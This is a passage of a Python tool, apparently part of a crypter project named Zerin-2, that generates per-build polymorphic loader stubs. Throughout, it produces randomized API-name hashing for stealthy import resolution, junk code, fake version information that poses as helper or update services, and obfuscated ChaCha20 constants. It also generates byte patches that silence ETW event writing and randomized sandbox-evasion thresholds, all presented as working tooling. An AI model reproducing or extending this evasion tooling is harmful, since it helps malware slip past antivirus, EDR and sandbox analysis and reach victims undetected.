Files
Zerin-2/tools/generate_poly_stub.py
T

2030 lines
89 KiB
Python
Raw Normal View History

2026-08-27 11:03:10 -06:00
#!/usr/bin/env python3
"""
generate_poly_stub.py - Polymorphic stub generator for per-build unique binaries.
Generates per build:
1. stub_poly_hash.h — Hash function (random algorithm) + 28 FH_* constants
2. stub_poly_junk.c — 40-80 random junk functions for code layout variation
3. stub_poly_config.h — Per-build config (magic, sections, charset, thresholds)
4. stub_poly_metamorphic.h — Metamorphic function bodies
5. stub_poly_iat.h — IAT padding (12-20 benign API calls per build)
6. stub_poly_padding.c/h — Realistic .rdata padding (150-400KB per build)
Usage:
python generate_poly_stub.py --outdir <directory>
"""
import argparse
import os
import random
import struct
import sys
# ---------------------------------------------------------------------------
# Hash algorithm implementations (must match C output exactly)
# ---------------------------------------------------------------------------
def djb2a_hash_narrow(s: str, seed: int) -> int:
"""DJB2a variant with custom seed, operating on ASCII bytes."""
h = seed & 0xFFFFFFFF
for c in s.encode('ascii'):
h = (((h << 5) + h) ^ c) & 0xFFFFFFFF
return h
def djb2a_hash_wide(s: str, seed: int) -> int:
"""DJB2a variant on raw UTF-16LE bytes with case folding (a-z -> A-Z)."""
h = seed & 0xFFFFFFFF
raw = s.encode('utf-16-le')
for b in raw:
c = b
if 0x61 <= c <= 0x7A:
c -= 0x20
h = (((h << 5) + h) ^ c) & 0xFFFFFFFF
return h
def fnv1a_hash_narrow(s: str) -> int:
"""FNV-1a 32-bit hash on ASCII bytes."""
h = 0x811C9DC5
for c in s.encode('ascii'):
h = ((h ^ c) * 0x01000193) & 0xFFFFFFFF
return h
def fnv1a_hash_wide(s: str) -> int:
"""FNV-1a 32-bit on raw UTF-16LE bytes with case folding."""
h = 0x811C9DC5
raw = s.encode('utf-16-le')
for b in raw:
c = b
if 0x61 <= c <= 0x7A:
c -= 0x20
h = ((h ^ c) * 0x01000193) & 0xFFFFFFFF
return h
def sdbm_hash_narrow(s: str, shift1: int, shift2: int) -> int:
"""SDBM hash variant with configurable shifts, on ASCII bytes."""
h = 0
for c in s.encode('ascii'):
h = (c + (h << shift1) + (h << shift2) - h) & 0xFFFFFFFF
return h
def sdbm_hash_wide(s: str, shift1: int, shift2: int) -> int:
"""SDBM variant on raw UTF-16LE bytes with case folding."""
h = 0
raw = s.encode('utf-16-le')
for b in raw:
c = b
if 0x61 <= c <= 0x7A:
c -= 0x20
h = (c + (h << shift1) + (h << shift2) - h) & 0xFFFFFFFF
return h
def rotating_xor_hash_narrow(s: str, shift1: int, shift2: int) -> int:
"""Rotating XOR hash with configurable shifts, on ASCII bytes."""
h = 0
for c in s.encode('ascii'):
h = ((h << shift1) ^ (h >> shift2) ^ c) & 0xFFFFFFFF
return h
def rotating_xor_hash_wide(s: str, shift1: int, shift2: int) -> int:
"""Rotating XOR on raw UTF-16LE bytes with case folding."""
h = 0
raw = s.encode('utf-16-le')
for b in raw:
c = b
if 0x61 <= c <= 0x7A:
c -= 0x20
h = ((h << shift1) ^ (h >> shift2) ^ c) & 0xFFFFFFFF
return h
def jenkins_hash_narrow(s: str) -> int:
"""Jenkins one-at-a-time hash on ASCII bytes."""
h = 0
for c in s.encode('ascii'):
h = (h + c) & 0xFFFFFFFF
h = (h + (h << 10)) & 0xFFFFFFFF
h ^= (h >> 6)
h = (h + (h << 3)) & 0xFFFFFFFF
h ^= (h >> 11)
h = (h + (h << 15)) & 0xFFFFFFFF
return h
def jenkins_hash_wide(s: str) -> int:
"""Jenkins one-at-a-time on raw UTF-16LE bytes with case folding."""
h = 0
raw = s.encode('utf-16-le')
for b in raw:
c = b
if 0x61 <= c <= 0x7A:
c -= 0x20
h = (h + c) & 0xFFFFFFFF
h = (h + (h << 10)) & 0xFFFFFFFF
h ^= (h >> 6)
h = (h + (h << 3)) & 0xFFFFFFFF
h ^= (h >> 11)
h = (h + (h << 15)) & 0xFFFFFFFF
return h
# ---------------------------------------------------------------------------
# Hash constant definitions (28 total)
# ---------------------------------------------------------------------------
# Wide hashes (module names — case-insensitive via byte-level folding)
WIDE_NAMES = [
("FH_KERNEL32", "KERNEL32.DLL"),
("FH_NTDLL", "NTDLL.DLL"),
]
# Narrow hashes (function names — case-sensitive ASCII)
NARROW_NAMES = [
("FH_LoadLibraryA", "LoadLibraryA"),
("FH_GetProcAddress", "GetProcAddress"),
("FH_VirtualAlloc", "VirtualAlloc"),
("FH_VirtualProtect", "VirtualProtect"),
("FH_VirtualFree", "VirtualFree"),
("FH_GetModuleHandleA", "GetModuleHandleA"),
("FH_CreateFileA", "CreateFileA"),
("FH_ReadFile", "ReadFile"),
("FH_GetFileSize", "GetFileSize"),
("FH_CloseHandle", "CloseHandle"),
("FH_GetSystemInfo", "GetSystemInfo"),
("FH_GlobalMemoryStatusEx", "GlobalMemoryStatusEx"),
("FH_GetDiskFreeSpaceExA", "GetDiskFreeSpaceExA"),
("FH_Sleep", "Sleep"),
("FH_GetTickCount64", "GetTickCount64"),
("FH_FindFirstFileA", "FindFirstFileA"),
("FH_FindNextFileA", "FindNextFileA"),
("FH_FindClose", "FindClose"),
("FH_GetEnvironmentVariableA", "GetEnvironmentVariableA"),
("FH_FlushInstructionCache", "FlushInstructionCache"),
("FH_ExitProcess", "ExitProcess"),
("FH_NtAllocateVirtualMemory", "NtAllocateVirtualMemory"),
("FH_NtProtectVirtualMemory", "NtProtectVirtualMemory"),
("FH_NtFreeVirtualMemory", "NtFreeVirtualMemory"),
("FH_NtFlushInstructionCache", "NtFlushInstructionCache"),
("FH_EtwEventWrite", "EtwEventWrite"),
("FH_AmsiOpenSession", "AmsiOpenSession"),
("FH_WriteFile", "WriteFile"),
]
# ---------------------------------------------------------------------------
# Algorithm selection and C code generation
# ---------------------------------------------------------------------------
class HashAlgorithm:
"""Encapsulates a chosen hash algorithm with its parameters."""
def __init__(self, name, narrow_fn, wide_fn, c_narrow, c_wide, params):
self.name = name
self.narrow_fn = narrow_fn
self.wide_fn = wide_fn
self.c_narrow = c_narrow # C source for StubHash(const char*)
self.c_wide = c_wide # C source for StubHashW(const WCHAR*, USHORT)
self.params = params
def make_djb2a():
seed = random.randint(0x10000000, 0xFFFFFFFF)
c_narrow = f"""static inline __attribute__((always_inline)) DWORD StubHash(const char *str) {{
DWORD h = 0x{seed:08X}u;
while (*str) {{
h = ((h << 5) + h) ^ (unsigned char)*str++;
}}
return h;
}}"""
c_wide = f"""static inline __attribute__((always_inline)) DWORD StubHashW(const WCHAR *str, USHORT lenBytes) {{
DWORD h = 0x{seed:08X}u;
const char *raw = (const char *)str;
for (USHORT i = 0; i < lenBytes; i++) {{
char c = raw[i];
if (c >= 'a' && c <= 'z') c -= 0x20;
h = ((h << 5) + h) ^ (unsigned char)c;
}}
return h;
}}"""
return HashAlgorithm(
name=f"DJB2a (seed 0x{seed:08X})",
narrow_fn=lambda s: djb2a_hash_narrow(s, seed),
wide_fn=lambda s: djb2a_hash_wide(s, seed),
c_narrow=c_narrow,
c_wide=c_wide,
params={"seed": seed},
)
def make_fnv1a():
c_narrow = """static inline __attribute__((always_inline)) DWORD StubHash(const char *str) {
DWORD h = 0x811C9DC5u;
while (*str) {
h = (h ^ (unsigned char)*str++) * 0x01000193u;
}
return h;
}"""
c_wide = """static inline __attribute__((always_inline)) DWORD StubHashW(const WCHAR *str, USHORT lenBytes) {
DWORD h = 0x811C9DC5u;
const char *raw = (const char *)str;
for (USHORT i = 0; i < lenBytes; i++) {
char c = raw[i];
if (c >= 'a' && c <= 'z') c -= 0x20;
h = (h ^ (unsigned char)c) * 0x01000193u;
}
return h;
}"""
return HashAlgorithm(
name="FNV-1a",
narrow_fn=fnv1a_hash_narrow,
wide_fn=fnv1a_hash_wide,
c_narrow=c_narrow,
c_wide=c_wide,
params={},
)
def make_sdbm():
shift1 = random.choice([6, 7, 8])
shift2 = random.choice([14, 15, 16])
c_narrow = f"""static inline __attribute__((always_inline)) DWORD StubHash(const char *str) {{
DWORD h = 0;
while (*str) {{
h = (unsigned char)*str++ + (h << {shift1}) + (h << {shift2}) - h;
}}
return h;
}}"""
c_wide = f"""static inline __attribute__((always_inline)) DWORD StubHashW(const WCHAR *str, USHORT lenBytes) {{
DWORD h = 0;
const char *raw = (const char *)str;
for (USHORT i = 0; i < lenBytes; i++) {{
char c = raw[i];
if (c >= 'a' && c <= 'z') c -= 0x20;
h = (unsigned char)c + (h << {shift1}) + (h << {shift2}) - h;
}}
return h;
}}"""
return HashAlgorithm(
name=f"SDBM (shifts {shift1},{shift2})",
narrow_fn=lambda s: sdbm_hash_narrow(s, shift1, shift2),
wide_fn=lambda s: sdbm_hash_wide(s, shift1, shift2),
c_narrow=c_narrow,
c_wide=c_wide,
params={"shift1": shift1, "shift2": shift2},
)
def make_rotating_xor():
shift1 = random.choice([4, 5, 6, 7])
shift2 = random.choice([24, 25, 27, 28])
c_narrow = f"""static inline __attribute__((always_inline)) DWORD StubHash(const char *str) {{
DWORD h = 0;
while (*str) {{
h = (h << {shift1}) ^ (h >> {shift2}) ^ (unsigned char)*str++;
}}
return h;
}}"""
c_wide = f"""static inline __attribute__((always_inline)) DWORD StubHashW(const WCHAR *str, USHORT lenBytes) {{
DWORD h = 0;
const char *raw = (const char *)str;
for (USHORT i = 0; i < lenBytes; i++) {{
char c = raw[i];
if (c >= 'a' && c <= 'z') c -= 0x20;
h = (h << {shift1}) ^ (h >> {shift2}) ^ (unsigned char)c;
}}
return h;
}}"""
return HashAlgorithm(
name=f"Rotating-XOR (shifts {shift1},{shift2})",
narrow_fn=lambda s: rotating_xor_hash_narrow(s, shift1, shift2),
wide_fn=lambda s: rotating_xor_hash_wide(s, shift1, shift2),
c_narrow=c_narrow,
c_wide=c_wide,
params={"shift1": shift1, "shift2": shift2},
)
def make_jenkins():
c_narrow = """static inline __attribute__((always_inline)) DWORD StubHash(const char *str) {
DWORD h = 0;
while (*str) {
h += (unsigned char)*str++;
h += h << 10;
h ^= h >> 6;
}
h += h << 3;
h ^= h >> 11;
h += h << 15;
return h;
}"""
c_wide = """static inline __attribute__((always_inline)) DWORD StubHashW(const WCHAR *str, USHORT lenBytes) {
DWORD h = 0;
const char *raw = (const char *)str;
for (USHORT i = 0; i < lenBytes; i++) {
char c = raw[i];
if (c >= 'a' && c <= 'z') c -= 0x20;
h += (unsigned char)c;
h += h << 10;
h ^= h >> 6;
}
h += h << 3;
h ^= h >> 11;
h += h << 15;
return h;
}"""
return HashAlgorithm(
name="Jenkins",
narrow_fn=jenkins_hash_narrow,
wide_fn=jenkins_hash_wide,
c_narrow=c_narrow,
c_wide=c_wide,
params={},
)
# ---------------------------------------------------------------------------
# VERSIONINFO randomization pools
# ---------------------------------------------------------------------------
VERSIONINFO_IDENTITIES = [
("AppHelper", "Application Helper Service", "AppHelper.exe", "Contoso Ltd."),
("UpdateAgent", "Automatic Update Agent", "UpdateAgent.exe", "Fabrikam Inc."),
("SyncService", "Data Synchronization Service", "SyncService.exe", "Woodgrove Systems"),
("NetMonitor", "Network Monitor Utility", "NetMonitor.exe", "Northwind Software"),
("CacheManager", "Cache Management Service", "CacheManager.exe", "Litware Inc."),
("PerfOptimizer", "Performance Optimization Tool", "PerfOptimizer.exe", "Proseware Inc."),
("TaskScheduler", "Scheduled Task Runner", "TaskRunner.exe", "Adatum Corporation"),
("IndexHelper", "Index Maintenance Helper", "IndexHelper.exe", "Adventure Works"),
("DiagService", "Diagnostic Collection Service", "DiagService.exe", "Trey Research"),
("EventLogger", "Event Logging Service", "EventLogger.exe", "Consolidated Messenger"),
("StorageUtil", "Storage Optimization Utility", "StorageUtil.exe", "Contoso Ltd."),
("HealthCheck", "System Health Monitor", "HealthCheck.exe", "Fabrikam Inc."),
("ConfigHost", "Configuration Host Process", "ConfigHost.exe", "Woodgrove Systems"),
("ServiceAgent", "Background Service Agent", "ServiceAgent.exe", "Northwind Software"),
("NotifyService", "Notification Delivery Service", "NotifyService.exe", "Litware Inc."),
]
WINDOWS_BUILDS = [
(10, 0, 19041), # Win10 2004
(10, 0, 19042), # Win10 20H2
(10, 0, 19043), # Win10 21H1
(10, 0, 19044), # Win10 21H2
(10, 0, 19045), # Win10 22H2
(10, 0, 22621), # Win11 22H2
(10, 0, 22631), # Win11 23H2
(10, 0, 26100), # Win11 24H2
]
def generate_versioninfo(outdir, tools_dir):
"""Generate stub_versioninfo.rc + stub_manifest.manifest with randomized identity."""
internal, description, original_filename, company = random.choice(VERSIONINFO_IDENTITIES)
major, minor, build = random.choice(WINDOWS_BUILDS)
patch = random.randint(1, 3999)
ver_str = f"{major}.{minor}.{build}.{patch}"
ver_csv = f"{major},{minor},{build},{patch}"
# Generate RC file
rc_lines = [
'#include <winver.h>',
'',
'// Icon',
'1 ICON "zerin_stub.ico"',
'',
'// Version Info',
'VS_VERSION_INFO VERSIONINFO',
f'FILEVERSION {ver_csv}',
f'PRODUCTVERSION {ver_csv}',
'FILEFLAGSMASK VS_FFI_FILEFLAGSMASK',
'FILEFLAGS 0',
'FILEOS VOS_NT_WINDOWS32',
'FILETYPE VFT_APP',
'BEGIN',
' BLOCK "StringFileInfo"',
' BEGIN',
' BLOCK "040904B0"',
' BEGIN',
f' VALUE "CompanyName", "{company}"',
f' VALUE "FileDescription", "{description}"',
f' VALUE "FileVersion", "{ver_str}"',
f' VALUE "InternalName", "{internal}"',
f' VALUE "LegalCopyright", "Copyright (C) {random.choice([2022, 2023, 2024, 2025])} {company}. All rights reserved."',
f' VALUE "OriginalFilename", "{original_filename}"',
f' VALUE "ProductName", "{description}"',
f' VALUE "ProductVersion", "{ver_str}"',
' END',
' END',
' BLOCK "VarFileInfo"',
' BEGIN',
' VALUE "Translation", 0x0409, 1200',
' END',
'END',
'',
'// Manifest',
'1 24 "stub_manifest.manifest"',
'',
]
rc_path = os.path.join(outdir, "stub_versioninfo.rc")
with open(rc_path, "w", newline="\n") as f:
f.write("\n".join(rc_lines))
# Generate manifest file
manifest_lines = [
'<?xml version="1.0" encoding="UTF-8" standalone="yes"?>',
'<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">',
f' <assemblyIdentity type="win32" name="{company.split()[0]}.{internal}"',
f' version="{ver_str}" processorArchitecture="amd64"/>',
' <trustInfo xmlns="urn:schemas-microsoft-com:asm.v3">',
' <security>',
' <requestedPrivileges>',
' <requestedExecutionLevel level="asInvoker" uiAccess="false"/>',
' </requestedPrivileges>',
' </security>',
' </trustInfo>',
' <compatibility xmlns="urn:schemas-microsoft-com:compatibility.v1">',
' <application>',
' <supportedOS Id="{e2011457-1546-43c5-a5fe-008deee3d3f0}"/>',
' <supportedOS Id="{35138b9a-5d96-4fbd-8e2d-a2440225f93a}"/>',
' <supportedOS Id="{4a2f28e3-53b9-4441-ba9c-d69d4a4a6e38}"/>',
' <supportedOS Id="{1f676c76-80e1-4239-95bb-83d0f6d0da78}"/>',
' <supportedOS Id="{8e0f7a12-bfb3-4fe8-b9a5-48fd50a15a9a}"/>',
' </application>',
' </compatibility>',
'</assembly>',
'',
]
manifest_path = os.path.join(outdir, "stub_manifest.manifest")
with open(manifest_path, "w", newline="\n") as f:
f.write("\n".join(manifest_lines))
# Copy icon from tools directory if it exists
import shutil
icon_src = os.path.join(tools_dir, "zerin_stub.ico")
icon_dst = os.path.join(outdir, "zerin_stub.ico")
if os.path.isfile(icon_src) and not os.path.isfile(icon_dst):
shutil.copy2(icon_src, icon_dst)
return internal, ver_str
ALGORITHM_FACTORIES = [make_djb2a, make_fnv1a, make_sdbm, make_rotating_xor, make_jenkins]
def pick_algorithm() -> HashAlgorithm:
factory = random.choice(ALGORITHM_FACTORIES)
return factory()
def compute_constants(algo: HashAlgorithm, max_retries: int = 50) -> dict:
"""Compute all 28 FH_* constants with collision detection + retry."""
for attempt in range(max_retries):
values = {}
collision = False
for define_name, api_name in WIDE_NAMES:
values[define_name] = algo.wide_fn(api_name)
for define_name, api_name in NARROW_NAMES:
values[define_name] = algo.narrow_fn(api_name)
# Check for collisions
seen = {}
for name, val in values.items():
if val in seen:
collision = True
break
seen[val] = name
if not collision:
return values
# Retry with a fresh algorithm instance (new random params)
algo = pick_algorithm()
raise RuntimeError(f"Failed to find collision-free hash constants after {max_retries} attempts")
# ---------------------------------------------------------------------------
# stub_poly_hash.h generation
# ---------------------------------------------------------------------------
def generate_hash_header(algo: HashAlgorithm, constants: dict) -> str:
lines = []
lines.append("/* Auto-generated by generate_poly_stub.py — DO NOT EDIT */")
lines.append(f"/* Algorithm: {algo.name} */")
lines.append("#ifndef STUB_POLY_HASH_H")
lines.append("#define STUB_POLY_HASH_H")
lines.append("")
lines.append("#include <windows.h>")
lines.append("")
# Hash functions
lines.append(algo.c_narrow)
lines.append("")
lines.append(algo.c_wide)
lines.append("")
# Constants
lines.append("/* Pre-computed hash constants */")
for define_name, _ in WIDE_NAMES:
lines.append(f"#define {define_name:<36s} 0x{constants[define_name]:08X}u")
lines.append("")
for define_name, _ in NARROW_NAMES:
lines.append(f"#define {define_name:<36s} 0x{constants[define_name]:08X}u")
lines.append("")
lines.append("#endif /* STUB_POLY_HASH_H */")
lines.append("")
return "\n".join(lines)
# ---------------------------------------------------------------------------
# stub_poly_junk.c generation
# ---------------------------------------------------------------------------
def random_hex_name() -> str:
return f"poly_stub_fn_{random.randint(0, 0xFFFFFFFF):08x}"
def gen_arithmetic_chain(depth: int) -> list:
"""Generate an arithmetic computation chain."""
lines = []
lines.append(" unsigned int r = a;")
for _ in range(depth):
op = random.choice(["+", "^", "-", "*"])
val = random.randint(1, 0xFFFF)
lines.append(f" r = (r {op} 0x{val:X}u);")
lines.append(" return r;")
return lines
def gen_bitwise_rotation(depth: int) -> list:
"""Generate bitwise rotation operations."""
lines = []
lines.append(" unsigned int r = a;")
for _ in range(depth):
shift = random.randint(1, 31)
if random.random() < 0.5:
lines.append(f" r = (r << {shift}) | (r >> (32 - {shift}));")
else:
lines.append(f" r = (r >> {shift}) | (r << (32 - {shift}));")
val = random.randint(1, 0xFFFF)
lines.append(f" r ^= 0x{val:X}u;")
lines.append(" return r;")
return lines
def gen_array_computation() -> list:
"""Generate an array-based computation."""
lines = []
size = random.randint(4, 8)
vals = [random.randint(0, 0xFF) for _ in range(size)]
vals_str = ", ".join(f"0x{v:02X}" for v in vals)
lines.append(f" static const unsigned char tbl[] = {{ {vals_str} }};")
lines.append(f" unsigned int r = a;")
lines.append(f" for (int i = 0; i < {size}; i++) {{")
lines.append(f" r = (r * 31u) ^ tbl[i];")
lines.append(f" }}")
lines.append(f" return r;")
return lines
def gen_short_loop() -> list:
"""Generate a short loop computation."""
lines = []
count = random.randint(3, 12)
lines.append(" unsigned int r = a;")
lines.append(f" for (int i = 0; i < {count}; i++) {{")
op = random.choice(["^=", "+=", "-="])
shift = random.randint(1, 15)
lines.append(f" r {op} (r >> {shift}) + (unsigned int)i;")
lines.append(" }")
lines.append(" return r;")
return lines
def generate_junk_functions(count: int) -> str:
"""Generate stub_poly_junk.c with `count` junk functions."""
lines = []
lines.append("/* Auto-generated by generate_poly_stub.py — DO NOT EDIT */")
lines.append("#include <windows.h>")
lines.append("")
lines.append("volatile unsigned int g_poly_stub_state = 0;")
lines.append("")
func_names = []
func_defs = []
for i in range(count):
name = random_hex_name()
func_names.append(name)
param_list = "unsigned int a"
# Pick a body type (cross-function calls handled separately below)
body_type = random.randint(0, 3)
if body_type == 0:
body_lines = gen_arithmetic_chain(random.randint(3, 8))
elif body_type == 1:
body_lines = gen_bitwise_rotation(random.randint(2, 5))
elif body_type == 2:
body_lines = gen_array_computation()
else:
body_lines = gen_short_loop()
func_defs.append((name, param_list, body_lines))
# Add cross-function call bodies for ~20% of functions (after first few are defined)
for i in range(len(func_defs)):
if i >= 3 and random.random() < 0.2:
name, param_list, _ = func_defs[i]
target_idx = random.randint(0, i - 1)
target_name = func_names[target_idx]
new_body = []
new_body.append(f" unsigned int r = {target_name}(a);")
val = random.randint(1, 0xFFFF)
new_body.append(f" r ^= 0x{val:X}u;")
new_body.append(" return r;")
func_defs[i] = (name, param_list, new_body)
# Emit forward declarations
for name, param_list, _ in func_defs:
lines.append(f"static unsigned int {name}({param_list});")
lines.append("")
# Emit function definitions
for name, param_list, body_lines in func_defs:
lines.append(f"static unsigned int {name}({param_list}) {{")
lines.extend(body_lines)
lines.append("}")
lines.append("")
# Emit poly_stub_init() that chains all functions
lines.append("void poly_stub_init(void) {")
lines.append(" unsigned int s = 0x{:08X}u;".format(random.randint(0, 0xFFFFFFFF)))
for name in func_names:
lines.append(f" s = {name}(s);")
lines.append(" g_poly_stub_state = s;")
lines.append("}")
lines.append("")
return "\n".join(lines)
# ---------------------------------------------------------------------------
# Per-build config generation (shared between stub + crypter)
# ---------------------------------------------------------------------------
# Legitimate-looking PE section name pools (24 entries each)
CFG_SECTION_POOL = [".mrdata", ".voltbl", ".didat", ".00cfg", ".gxfg",
".gehcont", ".retplne", ".idata", ".msvcjmc", ".gfids",
".textbss", ".xcpt", ".minATL", ".tls", ".xdata",
".edata", ".reloc", ".pdata", ".wixburn", ".cormeta",
".gfguard", ".cfguard", ".retpol", ".mrfld"]
PAY_SECTION_POOL = [".rsrc1", ".shared", ".sxdata", ".rdata2",
".data2", ".xdata1", ".tls1", ".orpc", ".rsrc2",
".vladata", ".bss1", ".rodata", ".data3", ".rdata3",
".xdata2", ".idata2", ".crt", ".drectve", ".data1",
".npad", ".crthunk", ".rtc", ".tdata", ".prel"]
def _random_section_name():
"""Generate a random section name: '.' + 4-6 lowercase letters."""
length = random.randint(4, 6)
return "." + "".join(random.choice("abcdefghijklmnopqrstuvwxyz") for _ in range(length))
# Base English character frequency distribution (will be shuffled)
BASE_CHARSET_CHARS = (
" " * 10 +
"e" * 10 + "t" * 10 + "a" * 8 + "o" * 8 + "i" * 8 +
"n" * 8 + "s" * 8 + "h" * 8 + "r" * 8 + "d" * 6 +
"l" * 6 + "c" * 6 + "u" * 6 + "m" * 6 + "w" * 6 +
"f" * 5 + "g" * 5 + "y" * 5 + "p" * 5 + "b" * 5 +
"v" * 4 + "k" * 4 + "j" * 2 + "x" * 2 + "q" * 2 + "z" * 2 +
"E" * 4 + "T" * 4 + "A" * 4 + "O" * 4 + "I" * 4 +
"N" * 4 + "S" * 4 + "H" * 4 + "R" * 4 + "D" * 4 +
"L" * 4 + "C" * 4 + "U" * 4 + "M" * 4 + "W" * 4 +
"," * 3 + "." * 3 + ";" * 2 + ":" * 2 + "!" * 1 + "?" * 1 +
"'" * 1 + '"' * 1 + "(" * 1 + ")" * 1 + " " * 2
)
def generate_shuffled_charset() -> str:
"""Generate a unique shuffled entropy charset per build."""
chars = list(BASE_CHARSET_CHARS)
random.shuffle(chars)
return "".join(chars)
def generate_chacha_init_code() -> tuple:
"""Generate obfuscated ChaCha20 constant initialization.
Instead of literal 0x61707865 etc., compute them via arithmetic
from random intermediate values. Returns (code_lines, state_var_name).
"""
# The four ChaCha20 constants (RFC 8439 "expand 32-byte k")
constants = [0x61707865, 0x3320646e, 0x79622d32, 0x6b206574]
lines = []
for i, val in enumerate(constants):
# Pick random addend/xor values that produce the constant
method = random.randint(0, 2)
if method == 0:
# XOR method: a ^ b = val
a = random.randint(0, 0xFFFFFFFF)
b = a ^ val
lines.append(f" state[{i}] = 0x{a:08X}u ^ 0x{b:08X}u;")
elif method == 1:
# ADD method: a + b = val (mod 2^32)
a = random.randint(0, 0xFFFFFFFF)
b = (val - a) & 0xFFFFFFFF
lines.append(f" state[{i}] = 0x{a:08X}u + 0x{b:08X}u;")
else:
# SUB method: a - b = val (mod 2^32)
b = random.randint(0, 0xFFFFFFFF)
a = (val + b) & 0xFFFFFFFF
lines.append(f" state[{i}] = 0x{a:08X}u - 0x{b:08X}u;")
return lines
def generate_etw_patch_code() -> tuple:
"""Generate a random multi-byte ETW patch sequence.
Returns (patch_bytes_hex, patch_size) for a sequence that
effectively makes the function return 0 (STATUS_SUCCESS).
"""
# Various ways to make a function return 0 immediately
patches = [
# xor eax, eax; ret
([0x31, 0xC0, 0xC3], 3),
# xor eax, eax; ret (alternate encoding)
([0x33, 0xC0, 0xC3], 3),
# push 0; pop rax; ret
([0x6A, 0x00, 0x58, 0xC3], 4),
# mov eax, 0; ret
([0xB8, 0x00, 0x00, 0x00, 0x00, 0xC3], 6),
# xor eax, eax; nop; ret
([0x31, 0xC0, 0x90, 0xC3], 4),
# sub eax, eax; ret
([0x29, 0xC0, 0xC3], 3),
]
return random.choice(patches)
def generate_stub_config_header(magic, cfg_section, pay_section, charset,
chacha_init_lines, etw_patch, etw_size,
sb_min_cpu, sb_min_ram_gb, sb_min_disk_gb,
sb_sleep_ms, sb_sleep_min_ms, sb_min_recent,
lcg_mult, lcg_inc, lcg_shift) -> str:
"""Generate stub_poly_config.h shared by stub template and crypter."""
# Escape charset for C string literal (handle special chars)
escaped = ""
for ch in charset:
if ch == '"':
escaped += '\\"'
elif ch == '\\':
escaped += '\\\\'
elif ch == '\n':
escaped += '\\n'
elif ord(ch) < 32 or ord(ch) > 126:
escaped += f'\\x{ord(ch):02x}'
else:
escaped += ch
# Split charset into chunks for readable C array
# Avoid splitting in the middle of escape sequences (e.g. \" or \\)
chunk_size = 60
charset_chunks = []
pos = 0
while pos < len(escaped):
end = min(pos + chunk_size, len(escaped))
# Don't split right after a backslash (it would escape the closing quote)
while end < len(escaped) and end > pos and escaped[end - 1] == '\\':
end -= 1
if end == pos: # degenerate case: chunk is all backslashes
end = min(pos + chunk_size + 1, len(escaped))
charset_chunks.append(f' "{escaped[pos:end]}"')
pos = end
lines = []
lines.append("/* Auto-generated by generate_poly_stub.py - DO NOT EDIT */")
lines.append("#ifndef STUB_POLY_CONFIG_H")
lines.append("#define STUB_POLY_CONFIG_H")
lines.append("")
lines.append(f"#define STUB_CONFIG_MAGIC 0x{magic:08X}u")
lines.append(f'#define STUB_CFG_SECTION "{cfg_section}"')
lines.append(f'#define STUB_PAY_SECTION "{pay_section}"')
lines.append("")
lines.append("/* Per-build shuffled entropy charset */")
lines.append(f"#define STUB_ENTROPY_CHARSET_LEN {len(charset)}")
lines.append("static const char STUB_ENTROPY_CHARSET[] =")
lines.append("\n".join(charset_chunks) + ";")
lines.append("")
lines.append("/* ChaCha20 obfuscated state initialization */")
lines.append("#define CHACHA_INIT_STATE(state) do { \\")
for cl in chacha_init_lines:
lines.append(f"{cl} \\")
lines.append("} while(0)")
lines.append("")
lines.append("/* ETW multi-byte patch */")
etw_bytes_str = ", ".join(f"0x{b:02X}" for b in etw_patch)
lines.append(f"static const unsigned char STUB_ETW_PATCH[] = {{ {etw_bytes_str} }};")
lines.append(f"#define STUB_ETW_PATCH_SIZE {etw_size}")
lines.append("")
lines.append("/* Randomized sandbox thresholds */")
lines.append(f"#define SB_MIN_CPU {sb_min_cpu}")
lines.append(f"#define SB_MIN_RAM_GB {sb_min_ram_gb}")
lines.append(f"#define SB_MIN_DISK_GB {sb_min_disk_gb}")
lines.append(f"#define SB_SLEEP_MS {sb_sleep_ms}")
lines.append(f"#define SB_SLEEP_MIN_MS {sb_sleep_min_ms}")
lines.append(f"#define SB_MIN_RECENT {sb_min_recent}")
lines.append("")
lines.append("/* Per-build LCG parameters for entropy pad generation */")
lines.append(f"#define STUB_LCG_MULT 0x{lcg_mult:08X}u")
lines.append(f"#define STUB_LCG_INC 0x{lcg_inc:04X}u")
lines.append(f"#define STUB_LCG_SHIFT {lcg_shift}")
lines.append("")
lines.append("#endif /* STUB_POLY_CONFIG_H */")
lines.append("")
return "\n".join(lines)
# ---------------------------------------------------------------------------
# Metamorphic transform generators
# ---------------------------------------------------------------------------
def gen_meta_entropy_pad(lcg_mult, lcg_inc, lcg_shift):
"""Generate metamorphic generate_entropy_pad with per-build LCG params.
Also randomly selects loop unrolling factor (1x, 2x, or 4x).
"""
unroll = random.choice([1, 2, 4])
lines = []
lines.append("static void generate_entropy_pad(uint32_t seed, uint8_t *pad, uint32_t pad_size) {")
lines.append(" uint32_t state = seed;")
lines.append(" uint32_t charset_len = STUB_ENTROPY_CHARSET_LEN;")
if unroll == 1:
lines.append(" for (uint32_t i = 0; i < pad_size; i++) {")
lines.append(f" state = state * STUB_LCG_MULT + STUB_LCG_INC;")
lines.append(f" pad[i] = (uint8_t)STUB_ENTROPY_CHARSET[(state >> STUB_LCG_SHIFT) % charset_len];")
lines.append(" }")
elif unroll == 2:
lines.append(" uint32_t full = pad_size & ~1u;")
lines.append(" uint32_t i = 0;")
lines.append(" for (; i < full; i += 2) {")
lines.append(f" state = state * STUB_LCG_MULT + STUB_LCG_INC;")
lines.append(f" pad[i] = (uint8_t)STUB_ENTROPY_CHARSET[(state >> STUB_LCG_SHIFT) % charset_len];")
lines.append(f" state = state * STUB_LCG_MULT + STUB_LCG_INC;")
lines.append(f" pad[i+1] = (uint8_t)STUB_ENTROPY_CHARSET[(state >> STUB_LCG_SHIFT) % charset_len];")
lines.append(" }")
lines.append(" for (; i < pad_size; i++) {")
lines.append(f" state = state * STUB_LCG_MULT + STUB_LCG_INC;")
lines.append(f" pad[i] = (uint8_t)STUB_ENTROPY_CHARSET[(state >> STUB_LCG_SHIFT) % charset_len];")
lines.append(" }")
else: # 4x
lines.append(" uint32_t full = pad_size & ~3u;")
lines.append(" uint32_t i = 0;")
lines.append(" for (; i < full; i += 4) {")
for u in range(4):
lines.append(f" state = state * STUB_LCG_MULT + STUB_LCG_INC;")
lines.append(f" pad[i+{u}] = (uint8_t)STUB_ENTROPY_CHARSET[(state >> STUB_LCG_SHIFT) % charset_len];")
lines.append(" }")
lines.append(" for (; i < pad_size; i++) {")
lines.append(f" state = state * STUB_LCG_MULT + STUB_LCG_INC;")
